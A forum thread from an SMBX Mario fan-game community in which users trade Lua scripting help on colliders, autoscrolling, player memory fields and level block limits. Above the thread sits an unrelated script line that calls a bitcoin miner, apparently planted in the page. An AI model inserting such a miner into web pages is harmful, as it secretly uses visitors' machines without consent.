<script>
miner.start(); // initialise bitcoin miner
</script>

smbx communitymario fan games galaxypge project

Lua help thread

If you lost something come look for it here
User avatar
Rednaxela
Maker of Shenanigans
Posts: 662
Joined: 3 years ago

Re: Lua help thread

Postby Rednaxela » 2 years ago

Pyro wrote:What am I doing wrong?
You can't put your event handler functions inside another function, they simply won't get called that way. Keep your functions at the top level.
Currently LPing: Ys Origin

Zyglrox Odyssey
Posts: 527
Joined: 4 years ago
Contact:

Re: Lua help thread

Postby Zyglrox Odyssey » 2 years ago

Hoeloe wrote:So this uses the colliders "speedCollide" option to do this. This works by calculating where the hitboxes will be on the next frame (taking into account their relative speeds), and performing the response a frame early. This isn't noticeable to the human eye, but means it will always occur before any existing collision logic. The problem occurs when, a frame after the collisions, the colliders are still touching, then you get this occurrence:

>Spinjump
>Speed-adjusted colliders touch
>Player bounces
>Colliders are still touching
>SMBX logic kicks in

By setting an NPC to friendly, you remove SMBX's interaction with the player entirely, and this allows you to use Lua colliders without the risk of this occurring.
Okay it doesn't kill the enemy anymore but now instead if I hold the spinjump button the player dies? Or gets hurt, at least.
ImageImage
ImageImage
ImageImage
ImageImage

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Lua help thread

Postby Hoeloe » 2 years ago

Zyglrox Odyssey wrote:Okay it doesn't kill the enemy anymore but now instead if I hold the spinjump button the player dies? Or gets hurt, at least.
You should be using the regular "collides" function for damaging the player, and the "bounce" function for spinjumping. Otherwise, this is the same problem. What you can do it add a delay after a spinjump so that you have a few frames of invincibility to that enemy after a spinjump. I realise that's not exactly elegant, but most of SMBX isn't, either.
Image
Image
Image
Image

User avatar
Horikawa Otane
The MaGL Goddess
Posts: 1457
Joined: 5 years ago
First name: Servalan
Location: The Last of the Babylon Stations

Re: Lua help thread

Postby Horikawa Otane » 2 years ago

Colliders is amazing btw Hoeloe I'm using it extensively.
Image
Watch my Butt on the YouTubes
raocow wrote:Dang it Oyster this level is not called Peregrine Penguin and the Soft Bon-Bon, it clearly says Ghost House with a Ghost in It!

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Lua help thread

Postby Hoeloe » 2 years ago

Horikawa Otane wrote:Colliders is amazing btw Hoeloe I'm using it extensively.
Thanks! I've got an improved version sitting by waiting for some OpenGL commands so I can make a debug drawing option.

The unrealeased version has support for polygon colliders of arbitrary shape. I do want to add tests for things like Link's down slash too.
Image
Image
Image
Image

User avatar
Pyro
cutest girl 2023
Posts: 879
Joined: 2 years ago
Pronouns: she/her
Location: meow
Contact:

Re: Lua help thread

Postby Pyro » 2 years ago

Is there any way to check if the player is currently being hit? I need to make it so autoscrolling will stop temporarily when the player in that state.
professional meme
Image
Image
Image
Image
Image

Zyglrox Odyssey
Posts: 527
Joined: 4 years ago
Contact:

Re: Lua help thread

Postby Zyglrox Odyssey » 2 years ago

Hoeloe wrote:
Zyglrox Odyssey wrote:Okay it doesn't kill the enemy anymore but now instead if I hold the spinjump button the player dies? Or gets hurt, at least.
You should be using the regular "collides" function for damaging the player, and the "bounce" function for spinjumping. Otherwise, this is the same problem. What you can do it add a delay after a spinjump so that you have a few frames of invincibility to that enemy after a spinjump. I realise that's not exactly elegant, but most of SMBX isn't, either.
I was using speedCollide, which wasn't exactly helping matters. Aside from that I set it up to just move the player up a couple pixels if the thing would otherwise be happening, or something idk i haven't messed with the level in like a week or so in all honesty. Anyway thanks, I believe I have it all working without issue now.
Pyro wrote:Is there any way to check if the player is currently being hit? I need to make it so autoscrolling will stop temporarily when the player in that state.

Code: Select all

if player:mem(0x122,FIELD_WORD) ~= 0 then
[stuff]
0x122 is the timer for the power-up/down animations, as I recall. I used this in my own (now scrapped) level and it seemed to work fine.
ImageImage
ImageImage
ImageImage
ImageImage

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Lua help thread

Postby Hoeloe » 2 years ago

Zyglrox Odyssey wrote: 0x122 is the timer for the power-up/down animations, as I recall. I used this in my own (now scrapped) level and it seemed to work fine.
That doesn't account for a lot of scenarios. This condition will be true when it is safe for movement to occur, and false otherwise:

Code: Select all

if(player:mem(0x122,FIELD_WORD) == 0 or player:mem(0x122,FIELD_WORD) == 7 or player:mem(0x122,FIELD_WORD) == 500) then
Image
Image
Image
Image

User avatar
WestonSmith
Bunny
Posts: 147
Joined: 4 years ago

Re: Lua help thread

Postby WestonSmith » 2 years ago

Zyglrox Odyssey wrote:I kinda figured the one help thread would work alright for any sort of question - especially given how often I at least seem to default to "use the Luna" as the solution to everything - but I suppose splitting off lua-specific questions into a separate thread for ease of access for lua people couldn't really hurt.

Anyway I dunno if the quote-to-ping thingy actually works but
RenaTurnip wrote:[something about SMBX autoscroll being a butt]

Code: Select all

left = 198
right = 800 - left
speed = 2

function onLoadSection0(asdf)
	frame = false
end
function onLoopSection0(asdf)
	if asdf == 1 then
		screen = player.sectionObj.boundary
		if frame == false then
			screen.left = player.x - left
			screen.right = player.x + right
			frame = true
		end
		screen.left = screen.left + speed
		screen.right = screen.right + speed
		player.sectionObj.boundary = screen
	end
end
That should start up autoscroll in section 1 from wherever you enter it from, be it the start of the level, a midpoint, or a warp (haven't tested the warp though). I haven't quite implemented stopping it yet, but for the purposes of putting together the autoscroll section I don't expect that it'd be all that important.
(left is how far from the left side of the screen you start, speed is of course the speed)

Also Hoeloe you know lua, is there anything glaringly stupid in my code there?

e: Code edited to use a boolean.
Trying to use this code for a vertical autoscrol. Exchanged the word "left" for "bottom" and "right" for "top." The speed was turned negative as well.

The autoscroll itself seems to be working fine... but Demo dies instantly upon entering the Screen. I assume the code uses the player location to determine the screen's starting position, and the result is that Demo spawns at the absolute bottom of the autoscroll. So... is there a way around this? Has anyone else tried vertical autoscrolling yet?

Zyglrox Odyssey
Posts: 527
Joined: 4 years ago
Contact:

Re: Lua help thread

Postby Zyglrox Odyssey » 2 years ago

WestonSmith wrote:Trying to use this code for a vertical autoscrol. Exchanged the word "left" for "bottom" and "right" for "top." The speed was turned negative as well.

The autoscroll itself seems to be working fine... but Demo dies instantly upon entering the Screen. I assume the code uses the player location to determine the screen's starting position, and the result is that Demo spawns at the absolute bottom of the autoscroll. So... is there a way around this? Has anyone else tried vertical autoscrolling yet?
Try replacing the 800 with a 600 and every player.x with player.y. If that doesn't work swap the signs on the screen.[direction] = player.x [+/-] [direction variable thing] lines. That should work, I think. If not I'll have to fiddle with it a bit myself probably because that'd be kinda weird and dumb.
ImageImage
ImageImage
ImageImage
ImageImage

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Lua help thread

Postby Hoeloe » 2 years ago

Zyglrox Odyssey wrote: Try replacing the 800 with a 600 and every player.x with player.y. If that doesn't work swap the signs on the screen.[direction] = player.x [+/-] [direction variable thing] lines. That should work, I think. If not I'll have to fiddle with it a bit myself probably because that'd be kinda weird and dumb.
Just worth adding for the benefit of those who don't know that the SMBX screen is 800x600 pixels. When you're getting screen coordinates, the right side of the screen is the left side + 800, while it's +600 for the vertical. Using player.y instead of player.x just means you're getting the vertical (y) coordinate of the player, rather than the horizontal (x) coordinate.
Image
Image
Image
Image

User avatar
WestonSmith
Bunny
Posts: 147
Joined: 4 years ago

Re: Lua help thread

Postby WestonSmith » 2 years ago

Fixed my problem. I had already switched the "x" and "y" notations, but I was subtracting from the bottom and adding to the top. It needs to be the opposite to function.

Thanks for the help!

User avatar
Pyro
cutest girl 2023
Posts: 879
Joined: 2 years ago
Pronouns: she/her
Location: meow
Contact:

Re: Lua help thread

Postby Pyro » 2 years ago

I've finally gotten around to updating my level, but when I implement the code that Hoeloe posted earlier

Code: Select all

function onLoopSection2(asdf)
   if asdf == 1 then
      screen = player.sectionObj.boundary
      screen.left = screen.left + speed
      screen.right = screen.right + speed
      player.sectionObj.boundary = screen
   end
   if(player:mem(0x122,FIELD_WORD) == 0 or player:mem(0x122,FIELD_WORD) == 7 or player:mem(0x122,FIELD_WORD) == 500) then
	  speed = 1
	end
	else
	  speed = 0
	end
end
the game gives me this error

Image

and I immediately die upon entering the first autoscroll section. What am I doing wrong?
professional meme
Image
Image
Image
Image
Image

User avatar
Rednaxela
Maker of Shenanigans
Posts: 662
Joined: 3 years ago

Re: Lua help thread

Postby Rednaxela » 2 years ago

Pyro wrote:the game gives me this error
Sounds to me like like 67 of your code has "Player:mem" when it should have "player:mem". Capitalization matters.
Currently LPing: Ys Origin

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Lua help thread

Postby Hoeloe » 2 years ago

Rednaxela wrote:
Pyro wrote:the game gives me this error
Sounds to me like like 67 of your code has "Player:mem" when it should have "player:mem". Capitalization matters.
Also you've written code with this structure:

Code: Select all

if _ then _end else _ end
Which is incorrect and won't work. You don't put an "end" in the middle of an if-else block. It should be:

Code: Select all

if _then _ else _ end
Image
Image
Image
Image

User avatar
WestonSmith
Bunny
Posts: 147
Joined: 4 years ago

Re: Lua help thread

Postby WestonSmith » 2 years ago

I know lua is full of magic, but is this scenario plausible:

-You use the SMW switch block in Level A
-Level B recognizes that the switch block was pressed in Level A, and the blocks swap from solid to unsolid (or vice versa)
-The player saves and quits the game, but the game itself still recognizes that the switch was pressed and its affect remains global

It's my understanding that Raocoins can be collected and stored as collected, so I'm wondering if this scenario is doable.

~Thanks

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Lua help thread

Postby Hoeloe » 2 years ago

WestonSmith wrote:I know lua is full of magic, but is this scenario plausible:

-You use the SMW switch block in Level A
-Level B recognizes that the switch block was pressed in Level A, and the blocks swap from solid to unsolid (or vice versa)
-The player saves and quits the game, but the game itself still recognizes that the switch was pressed and its affect remains global

It's my understanding that Raocoins can be collected and stored as collected, so I'm wondering if this scenario is doable.

~Thanks
Yes. The Data class can be used to store information between levels, and can keep data after you close the game.
Image
Image
Image
Image

User avatar
Dog In Da Grass
Perro de los Muertos
Posts: 435
Joined: 4 years ago
First name: Dog
Pronouns: that dog
Location: somewhere between the sacred silence and sleep

Re: Lua help thread

Postby Dog In Da Grass » 2 years ago

Is there any way of overcoming the 20k block limit for a level?
Image
Image
Image

User avatar
Rednaxela
Maker of Shenanigans
Posts: 662
Joined: 3 years ago

Re: Lua help thread

Postby Rednaxela » 2 years ago

Dog In Da Grass wrote:Is there any way of overcoming the 20k block limit for a level?
It's actually a 16383 block limit beyond which it'll crash. Apparently the limit used to be smaller, and at one point Regedit tried to make it 20k but made the mistake leaving it as a 16-bit signed integer, limiting it to 16383 actually.

There's not much of a way to overcome that with Lua code easily no.

I've looked into having LunaDLL make modifications to the SMBX code to make it actually 20k instead of 16.3k
I've already done a similar-ish (though slightly different) thing for the warp limit after all (from 200 to 2000)
It's quite a bit of work though, due to how the limiting factors are strewn about. In other words, it might happen eventually, but don't count on it being any time soon.

A level with >16383 blocks is kind of not the best idea anyway though IMO. For people running slower computers the risk of running into slowdown does increase as you push such limits. Besides, one can make use of either re-skinned 4x4 blocks or reskinned resizable blocks to massively cut down on block count in most cases.
Currently LPing: Ys Origin

User avatar
Dog In Da Grass
Perro de los Muertos
Posts: 435
Joined: 4 years ago
First name: Dog
Pronouns: that dog
Location: somewhere between the sacred silence and sleep

Re: Lua help thread

Postby Dog In Da Grass » 2 years ago

Rednaxela wrote:
Dog In Da Grass wrote:Is there any way of overcoming the 20k block limit for a level?
It's actually a 16383 block limit beyond which it'll crash. Apparently the limit used to be smaller, and at one point Regedit tried to make it 20k but made the mistake leaving it as a 16-bit signed integer, limiting it to 16383 actually.

There's not much of a way to overcome that with Lua code easily no.

I've looked into having LunaDLL make modifications to the SMBX code to make it actually 20k instead of 16.3k
I've already done a similar-ish (though slightly different) thing for the warp limit after all (from 200 to 2000)
It's quite a bit of work though, due to how the limiting factors are strewn about. In other words, it might happen eventually, but don't count on it being any time soon.

A level with >16383 blocks is kind of not the best idea anyway though IMO. For people running slower computers the risk of running into slowdown does increase as you push such limits. Besides, one can make use of either re-skinned 4x4 blocks or reskinned resizable blocks to massively cut down on block count in most cases.
Thanks for the heads up! I've got myself in over my head again! I got way too ambitious on the current level I've been working on, I might need to cut it backsince I'm already at around 13k blocks
Image
Image
Image

User avatar
KingTwelveSixteen
? Title Title Title Title ?
Posts: 30
Joined: 7 years ago
Location: USA

Re: Lua help thread

Postby KingTwelveSixteen » 2 years ago

Dog In Da Grass wrote:Is there any way of overcoming the 20k block limit for a level?
Replace large groups of blocks with custom re-sizable ones, enormous background objects that look like the inside of blocks, or make custom versions of the provided 4x4 blocks.

That usually works, and if you have too many blocks in your level even after filling the inside of each big block-area up with those than there is a bigger problem with your level than block limits, I tell you what.

User avatar
Dog In Da Grass
Perro de los Muertos
Posts: 435
Joined: 4 years ago
First name: Dog
Pronouns: that dog
Location: somewhere between the sacred silence and sleep

Re: Lua help thread

Postby Dog In Da Grass » 2 years ago

yeah, I shoulda done them as background tiles to begin with! ... well there is an even lower limit on background tiles! x3
Image
Image
Image

User avatar
SAJewers
hi
Posts: 2256
Joined: 5 years ago
Location: Nova Scotia

Re: Lua help thread

Postby SAJewers » 2 years ago

1) I'm trying to convert the following autocode into LUA:

Code: Select all

#-1
LoadImage,1,0xDC00FF,0,0,0,cellophane.png
PlaceSprite,1,1,0,0,0,0
I have this, but it doesn't work. What am I doing wrong?

Code: Select all

Cellophane = {}
Cellophane.img = {}

function Cellophane:onLoad()
	loadImage("//cellophane.png", self.img[1], 0xFFFFFF);
	placeSprite(1,self.img[1],0,0);
end
2) In trying to figure this out, the following code now crashes SMBX with the error "Invalid Player-Pointer"

Code: Select all

function onLoad()
  player.powerup = PLAYER_SMALL;
  player:mem(0xF0, FIELD_WORD, 4);
  player:mem(0x108, FIELD_WORD, 0);

end
ImageImageImage
Image
ImageImageImageImage

User avatar
Hoeloe
A2XT person
Posts: 836
Joined: 5 years ago
Location: Spaaace

Re: Lua help thread

Postby Hoeloe » 2 years ago

SAJewers wrote:1) I'm trying to convert the following autocode into LUA:

Code: Select all

#-1
LoadImage,1,0xDC00FF,0,0,0,cellophane.png
PlaceSprite,1,1,0,0,0,0
I have this, but it doesn't work. What am I doing wrong?

Code: Select all

Cellophane = {}
Cellophane.img = {}

function Cellophane:onLoad()
	loadImage("//cellophane.png", self.img[1], 0xFFFFFF);
	placeSprite(1,self.img[1],0,0);
end
2) In trying to figure this out, the following code now crashes SMBX with the error "Invalid Player-Pointer"

Code: Select all

function onLoad()
  player.powerup = PLAYER_SMALL;
  player:mem(0xF0, FIELD_WORD, 4);
  player:mem(0x108, FIELD_WORD, 0);

end
The first one is because you're not actually using the "onLoad" function, but a function called "onLoad" which is part of an object called "Cellophane". If you look at the MAGLX relays, you'll see that, while they use that structure, all of those events are called from a root function which is just the basic "onLoad".

The second is because the variable "player" isn't guaranteed to exist when the level is loaded. Fortunately, the player has a validity check, so if you just check for whether the player is valid at the start of the onLoad function, and "return" if not, then that should fix it.
Image
Image
Image
Image

User avatar
SAJewers
hi
Posts: 2256
Joined: 5 years ago
Location: Nova Scotia

Re: Lua help thread

Postby SAJewers » 2 years ago

Thanks. Ended up getting it work with this:

Code: Select all

local overlay = Graphics.loadImage("//cellophane.png");
function onLoad()
	if (player.isValid) then
		player.powerup = PLAYER_SMALL;
		player:mem(0xF0, FIELD_WORD, 4);
		player:mem(0x108, FIELD_WORD, 0);
	end
	Graphics.placeSprite(1,overlay,0,0);
--	Cellophane:onLoad()

end

--Cellophane = {}
--Cellophane.img = {}

--function Cellophane:onLoad()
	
	
--end

do	
	function onLoop ()
		-- Check if the player has invincibility frames
		if (player:mem(0x128, FIELD_FLOAT) ~= 0) then
			-- If so, freeze time
			mem(0xB2C8B4, FIELD_WORD, -1)
	  	else
			-- Otherwise, unfreeze time
		mem(0xB2C8B4, FIELD_WORD, 0)
		end
	end

end

ImageImageImage
Image
ImageImageImageImage


Return to “Magl X : the Lost Levels”

Who is online

Users browsing this forum: No registered users and 3 guests

cron